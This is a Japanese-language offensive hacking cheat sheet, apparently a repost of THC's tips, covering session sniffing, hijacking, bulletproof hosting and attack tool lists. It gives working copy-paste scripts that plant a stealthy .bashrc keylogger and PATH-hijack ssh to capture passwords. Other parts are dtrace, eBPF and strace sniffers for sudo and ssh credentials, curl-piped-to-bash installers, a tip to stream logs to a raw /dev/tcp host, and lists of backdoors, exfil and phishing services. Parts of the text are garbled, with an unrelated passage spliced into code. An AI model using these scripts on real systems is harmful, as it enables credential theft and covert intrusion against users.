/mnt/crypted にデータを保存し、その後アンマウントします:```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Linux 可搬型暗号化ファイルシステム - EncFS**

```.sec``` を作成し、暗号化データを ```.raw``` に保存します:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

アンマウント:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii ファイルの暗号化**

転送する前に、0-Days とログファイルを暗号化してください - お願いします。(そして、自分自身のパスワードを選んでください):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

アクティブサブドメイン列挙 対象組織またはサードパーティDNSプロバイダーが管理するインフラストラクチャを調査するプロセスです。

アクティブサブドメイン列挙

ゾーン転送 はDNSサーバー間のデータベースレプリケーションに使用された最初のプロトコルでした。一部のDNSサーバーは設定が不十分で、誰からのDNSゾーン転送リクエストにも応答します。ゾーン転送の詳細はこちらを参照してください。ゾーン転送を実行するには以下の dig コマンドを試してください。```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. セッションスニッフィングとハイジャッキング
<a id="session-sniffing"></a>
**10.i ユーザーのSHELLセッションをスニッフィングする**

`~/.bashrc` 用の1行スクリプトで、ユーザーのキーストロークをスニッフィングし、`~/.config/.pty/.@*` に保存します。rootではなく、ユーザーのsudo/ssh/git認証情報を取得する必要がある場合に便利です。 

展開: 以下をターゲットにコピー&ペーストし、指示に従ってください:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • zapper と組み合わせて、プロセスリストからコマンドオプションを隠します。
  • util-linux >= 2.37(-I フラグ)の /usr/bin/script が必要です。静的バイナリは pkgforge から取得します。
  • 出力ファイルとして /dev/tcp/3.13.3.7/1524 を使用して、リモートホストにログを記録することを検討してください。
  • ログ記録を無効にするには、ssh -o "SetEnv LC_PTY=1" でログインします。

10.ii dtrace で全 SHELL セッションをスニッフィング - FreeBSD

特に Solaris/SunOS と FreeBSD(pfSense)で役立ちます。カーネルプローブを使用して すべての sshd プロセスをトレースします。

この「D スクリプト」をターゲットシステムに d という名前のファイルとしてコピーします:```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
dtrace を起動し、/tmp/.log にログを記録します:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii eBPF で全ての SHELL セッションをスニッフィングする - Linux

eBPF を使用すると、カーネル内の 120,000 以上の関数を安全にフックできます。これは、より優れた "dtrace" のようなものですが、Linux 向けです。```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
私たち自身の [sudo/su/ssh パスワードを傍受する eBPF ツール](https://github.com/hackerschoice/bpfhacks) をぜひチェックしてください。

<a id="ssh-sniffing-strace"></a>
**10.iv strace でユーザーの SSH、bash、SSHD セッションを傍受する**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

また、SSHDプロセスをスニッフィングすることも可能です(sudoパスワードなども取得できます)。代わりに write() 呼び出しをトレースすることに注意してください(sshdがbashにデータを'書き込む'ため):```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
Sniff 7770 (例):```shell
tit write 7770

10.v. ラッパースクリプトでユーザーの送信 SSH セッションをスニッフィングする

/proc/sys/kernel/yama/ptrace_scope が 1 に設定されている場合のさらに汚い方法(strace は実行中の SSH セッションでは失敗します)

セッションをログに記録するために、strace + ssh を実行する 'ssh' というラッパースクリプトを作成します:

ラッパースクリプトを表示 - ここをクリック```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(テストしてくれたGeraldに感謝します)
</details>

次回ユーザーがシェルにログインしてSSHを使用すると、SSHセッションがスニッフィングされ、*~/.ssh/logs/* に記録されます。

<a id="ssh-sniffing-sshit"></a>
**10.vi SSH-ITを使用したユーザーの送信SSHセッションのスニッフィング**

最も簡単な方法は、[https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/) を使用することです。```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii 実行中のSSHセッションの乗っ取り/引き継ぎ

https://github.com/nelhage/reptyr を使用して、既存のSSHセッションを乗っ取ります:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T

or: ./reptyr -T $(pidof -s ssh)

Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

ツールをダウンロード
root@kitploit:~
---
<a id="vpn-shell"></a>
## 11. VPN とシェル
<a id="shell"></a>
**11.i. 使い捨てルートサーバー**```console
$ ssh [email protected] # Use password 'segfault'

https://thc.org/segfault

11.ii. VPN/VPS/プロキシ

信頼できるVPNプロバイダー

  1. https://www.mullvad.net
  2. https://www.cryptostorm.is
  3. https://ivpn.net
  4. https://proton.me - 無料VPNを提供
  5. https://vpn.fail - ボランティア運営

仮想プライベートサーバー。 offshore.cat を確認してください。

  1. https://www.hetzner.com - 安価
  2. https://hivecloud.pw - KYC不要。バレットプルーフ。暗号通貨対応。
  3. https://dmzhost.co - ほとんどの不正利用の申し立てを無視
  4. https://alexhost.com - KYC不要。バレットプルーフ。DMCAフリーゾーン
  5. https://basehost.eu - 裁判所命令を無視
  6. https://buyvm.net - Warezの親友
  7. https://serverius.net - ギャングに利用されている
  8. https://1984.hosting - プライバシー
  9. https://bithost.io - DigitalOcean、Linode、Hetzner、Vultrのリセラー(暗号通貨対応)
  10. https://www.privatelayer.com - スイス拠点。

その他のKYC不要サービス を参照(.onion)

プロキシ(私たちはこれらを使用していません)

  1. V2Ray Proxies
  2. Hola Proxies
  3. Zaeem's Free Proxy List
  4. Proxy Broker 2
  5. proxyscrape.com
  6. my-proxy.com
  7. getfreeproxylists.blogspot.com
  8. proxypedia.org
  9. socks-proxy.net
  10. Segfault: curl -x socks5h://$(PROXY) ipinfo.io - リクエストごとにランダムなプロキシを選択します

その他多数のサービス(無料)

  1. https://free-for.dev/

12. 情報収集

複数の公開データベースからの逆DNS:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }

rdns

root@kitploit:~
TLS/THC-IPデータベースからサブドメインを検索:```sh
sub() {
    [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
    curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
    curl -fsSL "https://ip.thc.org/sb/${1:?}"
}
# sub <domain>
OSINTハッカーツール
https://api.c99.nl無料: Subdomain Finder、有料: Phone-Lookup、CF Resolver、WAF Detector、IP2Host、その他...年間$25。
https://osint.sh無料。Subdomain Finder、DNS History、Public S3 Buckets、Reverse IP、Certificate Search、その他
https://cli.fyi無料。多くのサービスへのcurl/jsonインターフェース。curl cli.fyi/me または curl cli.fyi/thc.org を試してください。
https://check-your-website.server-daten.de無料。TLS/DNS/セキュリティでドメインをチェック。
https://ipsniper.info/api.htmlrDNS/fDNSおよびその他のIP情報ツール
https://ip.thc.orgfDNS/rDNSルックアップ: curl -fL ip.thc.org/140.82.121.3
https://hackertarget.com/ip-tools/無料のOSINTサービス(Reverse IP、MTR、ポートスキャン、CMSスキャン、脆弱性スキャン、APIサポート)
https://account.shodan.io/billing/tour世界中のオープンポートDBとDNSルックアップ
https://dnsdumpster.com/ドメイン偵察ツール
https://crt.sh/TLS証明書検索
https://archive.org/web/ウェブサイトの履歴ビュー
https://www.farsightsecurity.com/solutions/dnsdb/DNS検索(無料ではない)
https://wigle.net/ワイヤレスネットワークマッパー
https://radiocells.org/携帯基地局情報
https://www.shodan.io/デバイスとバナーを見つける検索エンジン(無料ではない)
探偵向けOSINT
https://start.me/p/rx6Qj8/nixintel-s-osint-resource-listNixintelのOSINTリソースリスト
https://github.com/jivoi/awesome-osintAwesome OSINTリスト
https://cipher387.github.io/osint_stuff_tool_collection/OSINTツールコレクション
https://osintframework.com/多数のOSINTツール
OSINTデータベース
https://data.ddosecrets.com/データベースダンプ

13. その他

13.i. 仕事の道具

通信

  1. CryptoStorm Email - 使い捨てメール(送受信)。 (Disposable-email-servicesのリスト)。
  2. Temp-Mail - 優れたWeb GUIを備えた使い捨てメールサービス。受信のみ。
  3. tuta.io または ProtonMail/.onion - 無料&プライベートメール
  4. Quackr.Io - 使い捨てSMS/テキストメッセージ (Disposable-SMS-servicesのリスト)。
  5. SMS-Man - Signal、WA、その他多数で動作する匿名SMS/テキスト
  6. Crypton - 仮想通貨でプライベートSIM/SMSをレンタル(.onion)
  7. 「No KYC」サービスのリスト (.onion)

OpSec

  1. 反逆者のためのOpSec - ここから始める。最も簡単な3ステップ。
  2. RiseUp - (オンライン)反逆者のためのメール、VPN、ヒント。
  3. CryptoPad/DisRoot - 反乱を起こすためのITインフラ。
  4. Neko - DockerでFirefoxを起動し、127.0.0.1:8080(WebRTC)でアクセス
  5. x11Docker - 任意のX11アプリをコンテナ内に隔離(LinuxとWindowsのみ)。(記事)
  6. DangerZone - 開く前にPDFを安全にする。
  7. ExifTool - ファイルからメタデータを削除(exiftool -all= example.pdf example1.jpg ...)
  8. EFF - 自由の戦士のための賢明なアドバイス。

エクスプロイト

  1. LPE用の ttyinject と ptyspy。
  2. SploitScan - Exploitスコア&PoC検索(by xaitax)
  3. Traitor - rootを取得するために様々なエクスプロイト/脆弱性を試す(LPE)
  4. PacketStorm - 2000年にNYCでfringe[at]dtmf.orgとピザを分け合って以来、私たちのお気に入りのサイト
  5. ExploitDB - metasploit dbとgoogle hacking dbも含む
  6. Shodan/Exploits - exploit-dbに類似

システム情報収集

  1. curl -fsSL https://thc.org/ws | bash - サーバー上でホストされているすべてのドメインとシステム情報を表示
  2. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - ハッカーのためのクイックシステム情報
  3. https://github.com/zMarch/Orc - ローカルRCEを見つけるためのポストエクスプロイトツール(インストール後に getexploit と入力)
  4. https://github.com/The-Z-Labs/linux-exploit-suggester - ターゲットシステムのバージョンに基づいてエクスプロイトを提案
  5. https://github.com/efchatz/pandora - Windows: さまざまなパスワードマネージャーからパスワードをダンプ

バックドア

  1. https://www.gsocket.io/deploy - 世界最小のバックドア
  2. https://github.com/m0nad/Diamorphine - プロセスとファイルを隠すためのLinuxカーネルモジュール
  3. https://www.kali.org/tools/weevely - PHPバックドア

ネットワークスキャナ

  1. https://github.com/robertdavidgraham/masscan - インターネット全体をスキャン
  2. https://github.com/ptrrkssn/pnscan - 高速ネットワークスキャナ
  3. https://zmap.io/ - ZMap & ZGrab

脆弱性スキャナ(注意: これらはすべて99%が悪用不可能な誤検出を出す。どれも酷い。)

  1. Raccoon - 偵察と情報収集
  2. Osmedeus - 脆弱性と情報収集
  3. FullHunt - log4jとspring4shellスキャナ

DDoS

  1. DeepNet - DDoSは軽蔑しているが、もしやらざるを得ないなら、これを選ぶ。

静的バイナリ / プリコンパイル済みツール

  1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev (github, Soar Project)
  2. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
  3. https://lolbas-project.github.io/ (Windows)
  4. https://iq.thc.org/cross-compiling-exploits

フィッシング

  1. https://github.com/htr-tech/zphisher - 私たちはこんなハッキングはしないが、使うとしたらこれを使うだろう。
  2. https://da.gd/ - TinyUrlより短く、https://[email protected]/blah を許可する

ツール

  1. https://github.com/hackerschoice/bincrypter - あらゆる Linuxバイナリを難読化&パック
  2. https://github.com/guitmz/ezuri - Linuxバイナリを難読化(ELFのみ)
  3. https://tmate.io/ - 他の人と画面を共有

コールバック / カナリア / コマンド&コントロール

  1. https://app.interactsh.com
  2. https://api.telegram.org
  3. https://webhook.site

トンネリング

  1. Gost
  2. WireTap または SegfaultのWireGuard.
  3. ngrok、cloudflared または pagekite を使用して、NATの背後にあるサーバーをパブリックインターネットからアクセス可能にする。

Exfil

  1. Blitz - blitz -l / blitz foo.txt
  2. Segfault.net - exfil と入力
  3. RedDrop - 自分専用のExfilサーバーを運用
  4. Mega
  5. oshiAt - TORでも利用可能。 curl -T foo.txt https://oshi.at
  6. 0x0.at - curl -F'[email protected]' https://0x0.st/
  7. Transfer.sh - curl -T foo.txt https://transfer.sh
  8. LitterBox - curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php
  9. Croc - croc send foo.txt / croc anit-price-example
  10. MagicWormhole

公開

  1. 無料BT/DC/eD2kシードボックス
  2. または segfault.net で/onionを使うか、ngrokで普通のhttpsを使う
  3. Cloudflare - 無料プランでほとんどの機能が使える(dns + ドメイン + トンネル)。
  4. Njal.la - プライバシー重視のドメイン登録業者
  5. DuckDNS - 無料ドメイン名
  6. AnonDNS - 無料ドメイン名(匿名)
  7. afraid.org - あなたのドメイン向けの無料ダイナミックDNS
  8. hostwinds - 暗号通貨で支払う
  9. unstoppable domains - 暗号通貨で支払う
  10. he.net - 無料ネームサーバーサービス
  11. 0bin / paste.ec - 暗号化されたPasteBin
  12. pad.riseup.net - ドキュメントを作成して安全に共有

フォーラムとカンファレンス

  1. AlligatorCon - 元祖
  2. 0x41con
  3. TumpiCon
  4. 0x00sec

Telegramチャンネル

  1. The Hacker's Choice
  2. The Hacker News
  3. CyberSecurity Technologies
  4. Offensive Twitter
  5. Pwn3rzs
  6. VX-Underground
  7. Android Security / Malware
  8. OSINT CyberDetective
  9. BookZillaaa
  10. Rootkit Researchers

マインドマップ&知識

  1. Compass Sec Cheat Sheets
  2. Network Pentesting
  3. Active Directory```sh rlwrap --always-readline nc -vnlp 1524
root@kitploit:~
*SSH* の例:```sh
rlwrap --always-readline ssh user@host

14. ハッカーになるには

多くの方法があるが、その一つは次の通り:

  1. Linuxを使って、Bashに習熟しよう。すべてのLinuxコマンドを学ぼう。
  2. インターネットがどのように機能するかを学ぼう。サーバーをいくつか(シェルアクセス経由で)インストールして設定しよう。
  3. システムアーキテクチャとOSの仕組みを理解しよう。
  4. あらゆる本を読もう。「なぜこの方法で、他の方法ではないのか?」と自問しよう。
  5. Phrack のトップ10記事を読もう。
  6. ハッカーチャンネルに参加しよう。TryHackMe か HackTheBox に登録しよう。
  7. 遊び心を持とう。

root@kitploit:~

---

[Read more](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet)
https://spur.us/context/me
IP評価 https://spur.us/context/<IP>
http://drs.whoisxmlapi.comリバースWhoisルックアップ(無料ではない)
https://www.abuseipdb.comIP不正使用評価